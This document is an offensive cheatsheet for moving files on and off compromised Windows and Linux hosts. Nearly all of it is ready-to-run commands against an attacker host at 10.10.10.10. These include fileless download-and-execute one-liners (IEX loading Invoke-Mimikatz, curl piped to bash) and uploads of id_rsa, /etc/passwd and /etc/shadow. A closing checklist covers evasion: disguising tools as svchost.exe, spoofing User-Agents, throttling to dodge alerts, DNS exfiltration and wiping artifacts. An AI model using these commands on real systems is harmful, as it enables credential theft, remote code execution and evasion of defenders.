Cheatsheet
Spin Up a Server (Attacker Side)
python3 -m http.server 8000 # Python HTTP
python2.7 -m SimpleHTTPServer 8000 # Python 2
php -S 0.0.0.0:8000 # PHP
ruby -run -ehttpd . -p8000 # Ruby WEBrick
python3 -m uploadserver # HTTP server with /upload endpoint
updog -p 8000 # pip install updog — up + download UI
sudo impacket-smbserver share -smb2support /tmp/smbshare # anonymous SMB
sudo impacket-smbserver share -smb2support /tmp/smbshare -user t -password t
sudo python3 -m pyftpdlib --port 21 --write # FTP with write enabled
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous # WebDAV
nc -nvlp 8080 < file # push via nc
nc -nvlp 8080 > file # receive via ncHTTPS Upload Server (Self-Signed)
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pemWindows — Download One-Liners
# PowerShell — WebClient to disk
(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/nc.exe','C:\Users\Public\nc.exe')
# PowerShell — fileless, in-memory
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1')
(New-Object Net.WebClient).DownloadString('http://10.10.10.10/x.ps1') | IEX
# Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest http://10.10.10.10/nc.exe -OutFile nc.exe -UseBasicParsing
iwr -Uri http://10.10.10.10/nc.exe -OutFile nc.exe
# Trust bad TLS
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}certutil.exe -urlcache -split -f "http://10.10.10.10/nc.exe" nc.exe
certutil.exe -verifyctl -split -f "http://10.10.10.10/nc.exe"
bitsadmin /transfer job /download /priority normal http://10.10.10.10/nc.exe C:\Users\Public\nc.exeWindows — SMB / UNC Transfer
copy \\10.10.10.10\share\winpeas.ps1 C:\Users\Public\
net use n: \\10.10.10.10\share /user:test test
copy n:\winpeas.ps1 .Copy-Item -Path \\10.10.10.10\share\winpeas.ps1 -Destination C:\Users\Public\
# Over PS Remoting session
$s = New-PSSession -ComputerName DB01
Copy-Item -Path C:\loot.zip -ToSession $s -Destination C:\Temp\
Copy-Item -Path C:\DB.txt -FromSession $s -Destination C:\Windows — Upload One-Liners
# Base64 → nc listener
$b64 = [Convert]::ToBase64String((Get-Content -Path 'C:\Users\Public\id_rsa' -Encoding Byte))
Invoke-WebRequest -Uri http://10.10.10.10:1234/ -Method POST -Body $b64
# To python uploadserver
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/.../PSUpload.ps1')
Invoke-FileUpload -Uri http://10.10.10.10:8000/upload -File C:\Users\Administrator\id_rsa
# FTP upload
(New-Object Net.WebClient).UploadFile('ftp://10.10.10.10/hosts','C:\Windows\System32\drivers\etc\hosts')
# WebDAV
copy C:\loot.zip \\10.10.10.10\DavWWWRoot\Linux — Download / Upload
wget http://10.10.10.10/LinEnum.sh -O /tmp/LinEnum.sh
curl http://10.10.10.10/LinEnum.sh -o /tmp/LinEnum.sh
# Fileless
curl http://10.10.10.10/LinEnum.sh | bash
wget -qO- http://10.10.10.10/LinEnum.sh | bash
wget -qO- http://10.10.10.10/hello.py | python3
# /dev/tcp (no curl/wget/nc)
exec 3<>/dev/tcp/10.10.10.10/80
echo -e "GET /LinEnum.sh HTTP/1.1\nHost: 10.10.10.10\n\n" >&3
cat <&3
# nc copy
cat < /dev/tcp/10.10.10.10/443 > file.bin
# SCP
scp user@10.10.10.10:/root/flag.txt .
scp -r loot/ user@10.10.10.10:/tmp/
# curl upload / PUT
curl -X POST https://10.10.10.10/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
curl --upload-file /etc/shadow http://10.10.10.10:9001/SecretUploadDirectory/
curl -T /etc/shadow http://10.10.10.10:9001/SecretUploadDirectory/Code One-Liners
# Python 3
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://10.10.10.10/x.sh","x.sh")'
python3 -c 'import requests;requests.post("http://10.10.10.10:8000/upload",files={"files":open("/etc/passwd","rb")})'
# PHP
php -r '$f=file_get_contents("http://10.10.10.10/x.sh");file_put_contents("x.sh",$f);'
php -r '$l=@file("http://10.10.10.10/x.sh");foreach($l as $v){echo $v;}' | bash
# Ruby
ruby -e 'require "net/http";File.write("x.sh",Net::HTTP.get(URI("http://10.10.10.10/x.sh")))'
# Perl
perl -e 'use LWP::Simple;getstore("http://10.10.10.10/x.sh","x.sh");'Base64 Staging (When Only Terminal Works)
# Attacker encodes
cat id_rsa | base64 -w 0; echo# Windows encode
[Convert]::ToBase64String((Get-Content -Path 'C:\loot.bin' -Encoding Byte))
# Windows decode (paste blob)
[IO.File]::WriteAllBytes('C:\Users\Public\id_rsa',[Convert]::FromBase64String('BASE64HERE'))
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5# Linux decode
echo 'BASE64HERE' | base64 -d > id_rsa8191-char limit
cmd.execaps lines at 8191 chars. For bigger files, chunk the base64.
Encryption Before Transfer
# openssl AES-256
openssl enc -aes256 -iter 100000 -pbkdf2 -in loot.tar -out loot.enc
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in loot.enc -out loot.tar
# 7z with password
7z a -p'Pa$$w0rd' -mhe=on loot.7z loot/Import-Module .\Invoke-AESEncryption.ps1
Invoke-AESEncryption -Mode Encrypt -Key 'Pa$$w0rd' -Path .\loot.txt
Invoke-AESEncryption -Mode Decrypt -Key 'Pa$$w0rd' -Path .\loot.txt.aesUser-Agent Spoofing (PowerShell)
$UA = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.10/nc.exe -UserAgent $UA -OutFile C:\Users\Public\nc.exeWritable Default Paths
C:\Users\Public\
C:\Windows\Temp\
/tmp/
/dev/shm/
/var/tmp/
Checklist
Recon the Environment
- Identify OS and shell flavor (cmd, PowerShell version, bash version)
- Note egress — which outbound protocols/ports reach you? (HTTP/80, HTTPS/443, DNS/53, SMB/445, FTP/21)
- Note ingress — which ports on the target can you connect in to?
- Check installed utilities (
curl,wget,python,php,ruby,perl,certutil,bitsadmin) - Identify writable directories you own
Pick a Transfer Method (Preference Order)
- HTTPS egress → PowerShell
IEXfileless orcurl | bash(no disk touch, blends in) - HTTP egress only → same, over
http:// - Outbound blocked but SMB allowed →
impacket-smbserver - Only FTP →
pyftpdlib - Nothing outbound but you can reach back in →
ncpush,scp, RDP drive redirect - Everything blocked → base64 paste into shell, chunk if long
- Even stdin limited →
/dev/tcp,certutil, DNS exfil
Operator Hygiene
- Hash your file before transfer (
md5sum/Get-FileHash), verify after - Encrypt sensitive loot before it leaves the target (openssl / 7z)
- Prefer fileless (
IEX,curl | bash) over writing to disk when possible - If you must write to disk, use
C:\Users\PublicorC:\Windows\Temp(writable, unremarkable) - Clean up: delete artifacts, clear
BITSjobs, removenet usedrives
Windows Specifics
-
Invoke-WebRequestfailing with IE first-launch error → add-UseBasicParsing - Untrusted TLS →
[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} - New Windows blocks anonymous SMB — use
-user/-passwordonimpacket-smbserver - If SMB/445 is blocked, try WebDAV (
\\host\DavWWWRoot\) — tunnels over HTTP
OPSEC / Evasion
- Spoof User-Agent to match the environment’s browser
- Rename your tools to look benign (
svchost.exe,update.ps1) - Encrypt payloads so network sensors see noise, not signatures
- Chunk large files; throttle to avoid volumetric alerts
- Prefer 443 over custom ports — it looks like normal HTTPS
- For high-sensitivity environments, consider DNS or ICMP exfil
Verification
- File size matches on both ends
- MD5/SHA256 matches on both ends
- For encrypted archives, decrypt + verify on attacker side before deleting source
